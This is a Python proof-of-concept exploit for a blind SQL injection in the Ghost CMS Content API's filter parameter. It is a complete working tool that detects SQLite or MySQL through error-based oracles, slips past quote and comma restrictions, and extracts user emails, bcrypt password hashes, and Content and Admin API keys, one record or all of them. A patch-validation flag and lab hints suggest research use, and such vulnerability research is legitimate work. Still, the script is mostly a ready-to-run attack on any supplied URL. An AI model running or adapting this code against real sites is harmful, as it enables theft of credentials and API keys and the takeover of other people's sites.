#!/usr/bin/env python3 """ CVE-2026-26980 — Ghost CMS Content API Blind SQL Injection =========================================================== Injection point: GET /ghost/api/content/posts/?key=&filter=slug:[,] Payload template: slug:['||||',] Oracle: SQLite (TRUE=500, FALSE=200): CASE WHEN () THEN hex(randomblob(1000000000000000)) ELSE 0 END MySQL (TRUE=200, FALSE=500): CASE WHEN () THEN 0 ELSE EXP(710) END NQL constraints — SQL_EXPR must not contain single quotes or commas: SQLite char extraction : prefix-based string comparison, no SUBSTR/ORD MySQL char extraction : ASCII(SUBSTR(x FROM p FOR 1)) — ISO syntax, no comma String literals : SQLite → CHAR(c1)||CHAR(c2)||... MySQL → 0xHEX (|| is logical OR in MySQL, not concat) Usage: python3 exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options] Data flags (at least one required, unless --validate-fix): --email User email(s) --hash User bcrypt hash(es) --content-key Content API key(s) --admin-key Admin API key(s) --all Shorthand for --email --hash --content-key --admin-key --all-records Modifier: extract ALL records for the selected flag(s) e.g. --email --all-records → all user emails --content-key --all-records → all content keys --all --all-records → everything, all records """ import argparse import sys import time import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) R = "\033[91m"; G = "\033[92m"; Y = "\033[93m" B = "\033[94m"; C = "\033[96m"; RESET = "\033[0m"; BOLD = "\033[1m" POSTS_ENDPOINT = "/ghost/api/content/posts/" API_VER = "v5.0" SQLITE_BLOB = "hex(randomblob(1000000000000000))" MYSQL_ERROR = "EXP(710)" class RateLimitError(Exception): pass class GhostSQLi: """ Blind SQL injection via Ghost Content API filter slug value. SQLite oracle: TRUE → OOM error (500) / FALSE → 200 MySQL oracle: TRUE → 200 / FALSE → numeric overflow (500) """ def __init__(self, base_url, api_key, anchor_slug, dbms="auto", delay=0.0, timeout=15, proxy=None): self.base_url = base_url.rstrip("/") self.api_key = api_key self.anchor = anchor_slug self.dbms = dbms self.delay = delay self.timeout = timeout self.req_count = 0 self._detected_dbms = None self.session = requests.Session() self.session.headers.update({"Accept-Version": API_VER}) if proxy: self.session.proxies = {"http": proxy, "https": proxy} self.session.verify = False print(f"{Y}[P]{RESET} Proxy : {C}{proxy}{RESET}") else: print(f"{B}[*]{RESET} Proxy : off") # ── HTTP ────────────────────────────────────────────────── def _get(self, filter_val: str) -> requests.Response: try: r = self.session.get( self.base_url + POSTS_ENDPOINT, params={"key": self.api_key, "filter": filter_val}, timeout=self.timeout, ) self.req_count += 1 if r.status_code == 401: print(f"\n{R}[!]{RESET} HTTP 401 — Invalid Content API key.") print(f" Verify the key with: GET {self.base_url}{POSTS_ENDPOINT}?key=") sys.exit(1) if r.status_code == 429: raise RateLimitError() if self.delay: time.sleep(self.delay) return r except RateLimitError: raise except requests.RequestException as e: print(f"\n{R}[!]{RESET} Request error: {e}") sys.exit(1) def _build_filter(self, sql_expr: str) -> str: return f"slug:['||{sql_expr}||',{self.anchor}]" # ── DBMS detection ──────────────────────────────────────── def detect_dbms(self) -> str: print(f"\n{B}[*]{RESET} Auto-detecting DB engine...") # SQLite: TRUE → blob OOM → 500 r = self._get(self._build_filter( f"CASE WHEN 1=1 THEN {SQLITE_BLOB} ELSE 0 END")) if r.status_code == 500: print(f"{G}[+]{RESET} DB engine: {C}SQLite{RESET} (blob OOM confirmed)") return "sqlite" # MySQL: FALSE → EXP(710) → 500 r = self._get(self._build_filter( f"CASE WHEN 1=0 THEN 0 ELSE {MYSQL_ERROR} END")) if r.status_code == 500: print(f"{G}[+]{RESET} DB engine: {C}MySQL{RESET} (EXP overflow confirmed)") return "mysql" print(f"{Y}[?]{RESET} Both oracle probes returned HTTP 200 — cannot identify DB engine.") print(f" Possible causes:") print(f" {C}•{RESET} Target is patched (Ghost ≥ 6.19.1)") print(f" {C}•{RESET} Non-standard DB engine or unexpected response") print(f" To confirm patch status : --validate-fix") print(f" To force engine : --dbms sqlite|mysql") sys.exit(1) # ── Oracle ──────────────────────────────────────────────── def _oracle(self, condition: str) -> bool: """Returns True if condition is TRUE, False otherwise.""" if self._detected_dbms == "sqlite": expr = f"CASE WHEN ({condition}) THEN {SQLITE_BLOB} ELSE 0 END" return self._get(self._build_filter(expr)).status_code == 500 else: expr = f"CASE WHEN ({condition}) THEN 0 ELSE {MYSQL_ERROR} END" return self._get(self._build_filter(expr)).status_code == 200 # ── Verify ──────────────────────────────────────────────── def verify(self) -> tuple[bool, bool]: """Detect DBMS and sanity-check TRUE/FALSE oracle. Returns (true_ok, false_ok).""" if self.dbms == "auto": self._detected_dbms = self.detect_dbms() else: self._detected_dbms = self.dbms print(f"{B}[*]{RESET} DB engine: {C}{self.dbms}{RESET} (manual)") print(f"\n{B}[*]{RESET} Testing boolean oracle ({self._detected_dbms})...") true_result = self._oracle("1=1") false_result = self._oracle("1=0") return true_result, not false_result # ── Integer primitives ──────────────────────────────────── def _int_query(self, expr: str, lo: int, hi: int) -> int: """Binary search for the integer value of expr in [lo, hi].""" while lo < hi: mid = (lo + hi) // 2 if self._oracle(f"({expr}) <= {mid}"): hi = mid else: lo = mid + 1 return lo def _length(self, sql_expr: str, max_len: int = 200) -> int: return self._int_query(f"LENGTH(({sql_expr}))", 1, max_len) def _count(self, count_query: str, max_n: int = 100) -> int: """Binary search for a COUNT(*) result in [0, max_n].""" return self._int_query(count_query, 0, max_n) # ── String encoding ─────────────────────────────────────── def _str_lit(self, s: str) -> str: """ Encode a string literal without single quotes or commas. SQLite: CHAR(c1)||CHAR(c2)||... (|| is concat in SQLite) MySQL: 0xHEX (|| is logical OR in MySQL, not concat) """ if self._detected_dbms == "sqlite": return "||".join(f"CHAR({ord(c)})" for c in s) return "0x" + s.encode().hex() # ── Char extraction ─────────────────────────────────────── def _char(self, sql_expr: str, pos: int, known_prefix: str = "") -> str: if self._detected_dbms == "sqlite": return self._char_sqlite(sql_expr, known_prefix) return self._char_mysql(sql_expr, pos) def _char_sqlite(self, sql_expr: str, known_prefix: str) -> str: """ Binary search via string comparison — avoids SUBSTR() and ORD(). Condition: (expr) < (prefix_chars || CHAR(mid+1)) TRUE → char at current position has code ≤ mid Position is implicit: len(known_prefix) + 1. No commas or quotes generated. """ lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 parts = [f"CHAR({ord(c)})" for c in known_prefix] + [f"CHAR({mid + 1})"] threshold = "||".join(parts) if self._oracle(f"({sql_expr}) < ({threshold})"): hi = mid else: lo = mid + 1 return chr(lo) if 32 <= lo <= 126 else "?" def _char_mysql(self, sql_expr: str, pos: int) -> str: """Binary search via ASCII(SUBSTR(x FROM p FOR 1)) — ISO syntax, no commas.""" lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 if self._oracle( f"ASCII(SUBSTR(({sql_expr}) FROM {pos} FOR 1)) <= {mid}"): hi = mid else: lo = mid + 1 return chr(lo) if 32 <= lo <= 126 else "?" # ── High-level extraction ───────────────────────────────── def extract(self, sql_expr: str, label: str, max_len: int = 200) -> str: """Extract a single string value via binary search.""" print(f"\n{B}[*]{RESET} Measuring length of {label}...", end="", flush=True) length = self._length(sql_expr, max_len) print(f" {G}{length} chars{RESET}") result = "" print(f"{B}[*]{RESET} Extracting {label}: ", end="", flush=True) for pos in range(1, length + 1): ch = self._char(sql_expr, pos, result) result += ch print(f"{G}{ch}{RESET}", end="", flush=True) print() return result def extract_multi(self, query_no_limit: str, count_query: str, label: str, max_len: int = 200) -> list[str]: """Extract all records of a field using LIMIT 1 OFFSET n.""" n = self._count(count_query) print(f"{B}[*]{RESET} {n} {label} record(s) found") results = [] for i in range(n): val = self.extract( f"{query_no_limit} LIMIT 1 OFFSET {i}", f"{label} [{i + 1}/{n}]", max_len) results.append(val) return results # ── Helpers ─────────────────────────────────────────────────── def find_anchor_slug(base_url: str, api_key: str, proxy=None) -> str: """Fetch the slug of any published post to use as the NQL anchor.""" proxy_cfg = {"http": proxy, "https": proxy} if proxy else None try: r = requests.get( base_url.rstrip("/") + POSTS_ENDPOINT, params={"key": api_key, "limit": 1, "fields": "slug"}, headers={"Accept-Version": API_VER}, timeout=10, proxies=proxy_cfg, verify=not proxy, ) if r.status_code == 401: print(f"\n{R}[!]{RESET} HTTP 401 Unauthorized — Content API key is invalid.") print(f" Possible cause: incorrect --key value.") sys.exit(1) posts = r.json().get("posts", []) if posts: return posts[0]["slug"] except Exception: pass return "" def handle_rate_limit(): print(f"\n{R}{'='*60}{RESET}") print(f"{R} HTTP 429 — TOO MANY REQUESTS{RESET}") print(f"{R}{'='*60}{RESET}") print(""" Ghost rate limiter blocked the exploit. Options: 1. Disable rate limiting in docker-compose.yml: API_RATE_LIMIT_ENABLED: "false" Then restart: docker compose down ghost-vuln && docker compose up -d ghost-vuln 2. Add a delay between requests: python3 exploit.py --delay 0.5 [other args] 3. Raise the rate limit instead of disabling it: rateLimit__maxAttempts: "10000" rateLimit__blockFor: "0" """) sys.exit(1) def banner(): print(f""" {C}{BOLD}╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-26980 — Ghost CMS Content API Blind SQL Injection ║ ║ SQLite → hex(randomblob) OOM error (TRUE=500 / FALSE=200) ║ ║ MySQL → EXP(710) numeric overflow (TRUE=200 / FALSE=500) ║ ╚══════════════════════════════════════════════════════════════╝{RESET} """) def _section(title: str): print(f"\n{Y}{'='*60}{RESET}") print(f"{Y} {title}{RESET}") print(f"{Y}{'='*60}{RESET}") def main(): banner() ap = argparse.ArgumentParser( description="CVE-2026-26980 — Ghost CMS Blind SQLi PoC", formatter_class=argparse.RawTextHelpFormatter) ap.add_argument("--url", required=True, help="Ghost base URL") ap.add_argument("--key", required=True, help="Content API key") ap.add_argument("--slug", default="", help="Anchor slug (auto-discovered if omitted)") ap.add_argument("--dbms", default="auto", choices=["auto", "sqlite", "mysql"]) ap.add_argument("--delay", type=float, default=0.0, help="Seconds between requests (default: 0)") ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080 (default: none)") ap.add_argument("--validate-fix", action="store_true", help="Check if target is patched and exit") grp = ap.add_argument_group( "data selection", "at least one required (unless --validate-fix)") grp.add_argument("--email", action="store_true", help="First user email") grp.add_argument("--hash", action="store_true", help="First user bcrypt hash") grp.add_argument("--content-key", action="store_true", dest="content_key", help="First Content API key") grp.add_argument("--admin-key", action="store_true", dest="admin_key", help="First Admin API key") grp.add_argument("--all", action="store_true", help="Shorthand for --email --hash --content-key --admin-key") grp.add_argument("--all-records", action="store_true", dest="all_records", help="Modifier: extract all records instead of first only") args = ap.parse_args() want_data = any([args.email, args.hash, args.content_key, args.admin_key, args.all]) if not args.validate_fix and not want_data: ap.error("specify at least one data flag: " "--email --hash --content-key --admin-key --all") base = args.url.rstrip("/") proxy = args.proxy try: # Anchor slug anchor = args.slug if not anchor: print(f"{B}[*]{RESET} Searching for anchor slug...") anchor = find_anchor_slug(base, args.key, proxy=proxy) if anchor: print(f"{G}[+]{RESET} Anchor slug: {C}{anchor}{RESET}") else: print(f"{R}[!]{RESET} No published posts found. " "Publish at least one post or use --slug .") sys.exit(1) sqli = GhostSQLi(base, args.key, anchor, dbms=args.dbms, delay=args.delay, proxy=proxy) # Verify oracle true_ok, false_ok = sqli.verify() print(f" TRUE (expect ✓): {G+'✓'+RESET if true_ok else R+'FAIL'+RESET}") print(f" FALSE (expect ✓): {G+'✓'+RESET if false_ok else R+'FAIL'+RESET}") if args.validate_fix: if not (true_ok and false_ok): print(f"\n{G}[✓] PATCHED — oracle does not distinguish TRUE/FALSE{RESET}") else: print(f"\n{R}[✗] STILL VULNERABLE{RESET}") return if not (true_ok and false_ok): print(f"\n{R}[!]{RESET} Oracle cannot distinguish TRUE/FALSE") print(f" Try: --dbms sqlite or --dbms mysql") sys.exit(1) print(f"\n{G}[+]{RESET} {BOLD}Oracle confirmed — TARGET IS VULNERABLE{RESET}") # DBMS-aware string literals (requires _detected_dbms set by verify()) ct = sqli._str_lit("content") at = sqli._str_lit("admin") results = {} _section("EXTRACTING DATA") # Each flag has two modes depending on --all-records: # without: first record only (LIMIT 1, no OFFSET) # with: all records (extract_multi with COUNT + OFFSET) if args.all or args.email: if args.all_records: results["emails"] = sqli.extract_multi( "SELECT email FROM users ORDER BY id", "SELECT COUNT(*) FROM users", "user email", max_len=100) else: results["emails"] = [sqli.extract( "SELECT email FROM users ORDER BY id LIMIT 1", "user email", max_len=100)] if args.all or args.hash: if args.all_records: results["hashes"] = sqli.extract_multi( "SELECT password FROM users ORDER BY id", "SELECT COUNT(*) FROM users", "user hash", max_len=200) else: results["hashes"] = [sqli.extract( "SELECT password FROM users ORDER BY id LIMIT 1", "user hash", max_len=200)] if args.all or args.content_key: if args.all_records: results["content_keys"] = sqli.extract_multi( f"SELECT secret FROM api_keys WHERE type={ct} ORDER BY id", f"SELECT COUNT(*) FROM api_keys WHERE type={ct}", "Content API key", max_len=200) else: results["content_keys"] = [sqli.extract( f"SELECT secret FROM api_keys WHERE type={ct} ORDER BY id LIMIT 1", "Content API key", max_len=200)] if args.all or args.admin_key: if args.all_records: results["admin_keys"] = sqli.extract_multi( f"SELECT secret FROM api_keys WHERE type={at} ORDER BY id", f"SELECT COUNT(*) FROM api_keys WHERE type={at}", "Admin API key", max_len=200) else: results["admin_keys"] = [sqli.extract( f"SELECT secret FROM api_keys WHERE type={at} ORDER BY id LIMIT 1", "Admin API key", max_len=200)] # ── Summary ─────────────────────────────────────────── print(f"\n{G}{'='*60}{RESET}") print(f"{G}{BOLD} EXPLOITATION COMPLETE{RESET}") print(f"{G}{'='*60}{RESET}") print(f" Target : {base}") print(f" DB engine : {sqli._detected_dbms}") print(f" Requests : {sqli.req_count}") print() def _print_vals(label: str, vals: list, color: str): if len(vals) == 1: print(f" {label:<12}: {color}{vals[0]}{RESET}") else: print(f" {label} ({len(vals)}):") for i, v in enumerate(vals, 1): print(f" [{i}] {color}{v}{RESET}") if "emails" in results: _print_vals("Email", results["emails"], G) if "hashes" in results: _print_vals("Hash", results["hashes"], Y) if "content_keys" in results: _print_vals("ContentKey", results["content_keys"], C) if "admin_keys" in results: _print_vals("AdminKey", results["admin_keys"], R) print(f"{G}{'='*60}{RESET}") except RateLimitError: handle_rate_limit() if __name__ == "__main__": main()